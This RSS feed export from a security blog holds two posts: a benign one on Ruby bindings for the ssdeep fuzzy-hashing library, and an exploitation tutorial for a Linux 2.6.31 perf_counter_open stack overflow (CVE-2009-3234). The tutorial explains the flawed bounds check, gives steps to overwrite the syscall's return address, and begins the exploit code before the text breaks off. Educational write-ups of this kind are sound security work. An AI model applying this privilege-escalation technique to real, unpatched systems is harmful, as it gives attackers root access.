<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>redstack</title><link>http://redstck.net/blog/</link><description></description><atom:link href="http://redstck.net/blog//feeds/all.rss.xml" rel="self"></atom:link><lastBuildDate>Sat, 10 Apr 2010 19:24:00 +0200</lastBuildDate><item><title>Ssdeep Ruby Bindings</title><link>http://redstck.net/blog//ssdeep-ruby-bindings.html</link><description>&lt;p&gt;As I couldn't find any ruby bindings for &lt;a class="reference external" href="http://ssdeep.sourceforge.net"&gt;ssdeep&lt;/a&gt;, I decided to write
it as my first ruby extension today ... :)&lt;/p&gt;
&lt;div class="section" id="installation-prerequisites"&gt;
&lt;h2&gt;Installation (prerequisites)&lt;/h2&gt;
&lt;p&gt;You first need to compile/install the ssdeep library.
On debian testing:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="gp"&gt;$&lt;/span&gt; apt-get install ssdeep
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;On other Linuxes/Unixes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="gp"&gt;$&lt;/span&gt; wget http://sourceforge.net/projects/ssdeep/files/ssdeep-2.4/ssdeep-2.4.tar.gz/download
&lt;span class="gp"&gt;$&lt;/span&gt; tar zxvf ssdeep-2.4.tar.gz
&lt;span class="gp"&gt;$&lt;/span&gt; &lt;span class="nb"&gt;cd &lt;/span&gt;ssdeep-2.4/
&lt;span class="gp"&gt;$&lt;/span&gt; ./configure --prefix&lt;span class="o"&gt;=&lt;/span&gt;/opt
&lt;span class="gp"&gt;$&lt;/span&gt; make
&lt;span class="gp"&gt;$&lt;/span&gt; sudo make install
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;On windows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="gp"&gt;$&lt;/span&gt; There is no real shell, and I will not make screen-shots... ;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="installation-the-real-one"&gt;
&lt;h2&gt;Installation (the real one)&lt;/h2&gt;
&lt;p&gt;To install it using rubygems:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="gp"&gt;$&lt;/span&gt; gem install ssdeep
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To install it using rubygems with a non standard ssdeep installatoin
path:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="gp"&gt;$&lt;/span&gt; gem install ssdeep -- --with-ssdeep-dir&lt;span class="o"&gt;=&lt;/span&gt;/path/to/ssdeep
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="usage"&gt;
&lt;h2&gt;Usage&lt;/h2&gt;
&lt;p&gt;The bindings follow the ssdeep APIs: (for extended information on this
functions, check the &lt;a class="reference external" href="http://ssdeep.sourceforge.net/api/html/fuzzy_8h.html"&gt;ssdeep API doc.&lt;/a&gt;)&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;fuzzy_compare(&amp;quot;3:qGOvn:qRn&amp;quot;, &amp;quot;3:Wv:Wv&amp;quot;): Compare two fuzzy hashes.&lt;/li&gt;
&lt;li&gt;fuzzy_hash_buf(&amp;quot;data&amp;quot;): return the fuzzy hash of the data buffer.&lt;/li&gt;
&lt;li&gt;fuzzy_hash_filename(&amp;quot;/path/to/file&amp;quot;): return the fuzzy hash of the
file&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;fuzzy_hash_file isn't implemented.&lt;/em&gt;
Here is a little usage example :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;ssdeep&amp;#39;&lt;/span&gt;
&lt;span class="c1"&gt;# Fuzzy hash a buffer&amp;#39;s content&lt;/span&gt;
&lt;span class="n"&gt;hash1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Ssdeep&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fuzzy_hash_buf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;This string contains the data of first file :)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Fuzzy hash the content of the file &amp;#39;/path/to/file&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;hash2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Ssdeep&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fuzzy_hash_filename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/path/to/file&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Compare the 2 hashes, a value between 0 (no match) and 100 (full match) is returned&lt;/span&gt;
&lt;span class="no"&gt;Ssdeep&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fuzzy_compare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hash2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et voilà :)&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="links"&gt;
&lt;h2&gt;Links&lt;/h2&gt;
&lt;blockquote&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;a class="reference external" href="http://redstack.net/code/cgi-bin/darcsweb.cgi?r=ruby-ssdeep;a=summary"&gt;Ssdeep Ruby bindings source code&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;a class="reference external" href="http://rubygems.org/gems/ssdeep"&gt;RubyGems project page&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;a class="reference external" href="http://ssdeep.sourceforge.net"&gt;Ssdeep project page&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">xipe</dc:creator><pubDate>Sat, 10 Apr 2010 19:24:00 +0200</pubDate><guid>http://redstck.net/blog//ssdeep-ruby-bindings.html</guid></item><item><title>Linux kernel 2.6.31 perf_counter_open exploit</title><link>http://redstck.net/blog//linux-kernel-2631-perf_counter_open-exploit.html</link><description>&lt;p&gt;Well, it has been a while since my last technical post ... More than 1 year ?!? Wow, time runs so fast :)&lt;/p&gt;
&lt;p&gt;So let's go for a post about Linux kernel exploitation (yeah, I know, sounds cool). We will exploit a quite recent bug in kernel 2.6.31 (still unpatched while writing this) in the perf_counter_open syscall (&lt;a class="reference external" href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3234"&gt;CVE 2009-3234&lt;/a&gt;) to gain root privileges. As real hackers say, &lt;strong&gt;f34R&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;But, let's start by the begining: the bug.&lt;/p&gt;
&lt;div class="section" id="perf-copy-attr-and-the-dual-fail"&gt;
&lt;h2&gt;perf_copy_attr and the dual fail&lt;/h2&gt;
&lt;p&gt;The &lt;em&gt;perf_copy_attr&lt;/em&gt; method is meant to copy a data structure (of type &lt;em&gt;perf_count_attr&lt;/em&gt;) from user space to kernel space. Its definition is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;perf_copy_attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;perf_counter_attr&lt;/span&gt; &lt;span class="n"&gt;__user&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;uattr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                          &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;perf_counter_attr&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;With &lt;em&gt;uattr&lt;/em&gt; being a pointer to the (source) user space structure, and &lt;em&gt;attr&lt;/em&gt; being a pointer to the (destination) kernel space structure.&lt;/p&gt;
&lt;p&gt;Here is the &lt;em&gt;perf_copy_attr&lt;/em&gt; code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;perf_copy_attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;perf_counter_attr&lt;/span&gt; &lt;span class="n"&gt;__user&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;uattr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;perf_counter_attr&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;[...]&lt;/span&gt;
  &lt;span class="n"&gt;u32&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;[...]&lt;/span&gt;
  &lt;span class="n"&gt;ret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;uattr&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;[...]&lt;/span&gt;
  &lt;span class="cm"&gt;/*&lt;/span&gt;
&lt;span class="cm"&gt;   * If we&amp;#39;re handed a bigger struct than we know of,&lt;/span&gt;
&lt;span class="cm"&gt;   * ensure all the unknown bits are 0.&lt;/span&gt;
&lt;span class="cm"&gt;   */&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;__user&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;__user&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PTR_ALIGN&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;__user&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;uattr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="n"&gt;end&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PTR_ALIGN&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;__user&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;uattr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(;&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;ret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;goto&lt;/span&gt; &lt;span class="n"&gt;err_size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;ret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;copy_from_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;uattr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="let-s-look-at-what-is-happening"&gt;
&lt;h2&gt;Let's look at what is happening&lt;/h2&gt;
&lt;p&gt;First, &lt;em&gt;size&lt;/em&gt; is copied from the user data :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="n"&gt;ret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;uattr&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then, &lt;em&gt;size&lt;/em&gt; bytes from user buffer pointed by &lt;em&gt;uattr&lt;/em&gt; are copied to
kernel buffer pointed by &lt;em&gt;attr&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="n"&gt;ret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;copy_from_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;uattr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This means that if the user supply &lt;em&gt;uattr&lt;/em&gt; with &lt;em&gt;uattr-&amp;gt;size&lt;/em&gt; greater than the size of the buffer pointed by &lt;em&gt;attr&lt;/em&gt;, the buffer will be overflowed. That's the &lt;em&gt;first fail&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;But in between lines 7 and 32, there is comment followed by a block of code. This comment says:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="cm"&gt;/*&lt;/span&gt;
&lt;span class="cm"&gt; * If we&amp;#39;re handed a bigger struct than we know of,&lt;/span&gt;
&lt;span class="cm"&gt; * ensure all the unknown bits are 0.&lt;/span&gt;
&lt;span class="cm"&gt; */&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Without reading the code, you would think that you can overflow the buffer only with zeros, which, while not making the exploitation impossible, makes it more difficult. But, if you read the code, you will see this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;__user&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(;&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;ret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;goto&lt;/span&gt; &lt;span class="n"&gt;err_size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;As pointer's arithmetic says that adding 1 to a pointer adds the size of the pointed value to the offset contained in the pointer, thus &lt;em&gt;addr += sizeof(unsigned long)&lt;/em&gt; adds 4*4 to the offset contained in &lt;em&gt;addr&lt;/em&gt; on a 32 bits system.
This means that this loop checks that 1 long equals 0 every 4 longs.&lt;/p&gt;
&lt;p&gt;That's the &lt;em&gt;second fail&lt;/em&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="exploitation"&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;blockquote&gt;
&lt;dl class="docutils"&gt;
&lt;dt&gt;Note:&lt;/dt&gt;
&lt;dd&gt;If you are not comfortable with stack based buffer overflow, you should first read this famous article from Aleph1: &lt;a class="reference external" href="http://www.phrack.org/issues.html?issue=49&amp;amp;id=14#article"&gt;Smashing The Stack For Fun And Profit&lt;/a&gt;&lt;/dd&gt;
&lt;/dl&gt;
&lt;/blockquote&gt;
&lt;p&gt;The interesting thing for us is that &lt;em&gt;perf_copy_attr&lt;/em&gt; is called directly from the &lt;em&gt;perf_counter_open&lt;/em&gt; syscall and that the destination buffer is on the stack, so it's a typical stack based buffer overflow :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="n"&gt;SYSCALL_DEFINE5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;perf_counter_open&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;perf_counter_attr&lt;/span&gt; &lt;span class="n"&gt;__user&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;attr_uptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;pid_t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cpu&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;group_fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;[...]&lt;/span&gt;
        &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;perf_counter_attr&lt;/span&gt; &lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;[...]&lt;/span&gt;
        &lt;span class="n"&gt;ret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;perf_copy_attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;attr_uptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now, let's have a look at the &lt;em&gt;perf_counter_attr&lt;/em&gt; structure:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="cm"&gt;/*&lt;/span&gt;
&lt;span class="cm"&gt; * Hardware event to monitor via a performance monitoring counter:&lt;/span&gt;
&lt;span class="cm"&gt; */&lt;/span&gt;
&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;perf_counter_attr&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;__u32&lt;/span&gt;                   &lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;__u32&lt;/span&gt;                   &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;[...]&lt;/span&gt; &lt;span class="cm"&gt;/* Total struct length: 64 bytes */&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To trigger the overflow and modify the kernel code flow, we need to make an attr buffer so:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;em&gt;attr.size&lt;/em&gt; &amp;gt; &lt;em&gt;sizeof(struct perf_counter_attr)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;After the first 64 bytes of our buffer, we place zeroes so the loop in &lt;em&gt;perf_copy_attr&lt;/em&gt; would not kick us&lt;/li&gt;
&lt;li&gt;Rewrite the &lt;em&gt;perf_counter_open&lt;/em&gt; return address located in the stack to our code&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class="section" id="modifying-the-kernel-code-flow"&gt;
&lt;h2&gt;Modifying the kernel code flow&lt;/h2&gt;
&lt;blockquote&gt;
&lt;dl class="docutils"&gt;
&lt;dt&gt;Note:&lt;/dt&gt;
&lt;dd&gt;Before continuing, something you should remember is that the Linux kernel shares the address space of the process, so you can access to your process' memory from the kernel quite as easily as if you were accessing it from your program.&lt;/dd&gt;
&lt;/dl&gt;
&lt;/blockquote&gt;
&lt;p&gt;The following code is self-explanatory. We start by setting &lt;em&gt;attr.size&lt;/em&gt; to &lt;em&gt;128&lt;/em&gt;, then the first loop fill the part of attr which will overflow with the address we want to jump to when in kernel-land, and the second loop puts 0s where needed so we will pass the loop test in &lt;em&gt;perf_copy_attr.&lt;/em&gt; At the end, we just make a syscall to &lt;em&gt;perf_counter_open&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="cp"&gt;#define SIZEOF_ATTR 64&lt;/span&gt;
&lt;span class="cp"&gt;#define BUFFER_LEN 128&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;malloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BUFFER_LEN&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;stack_overflow&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;SIZEOF_ATTR&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
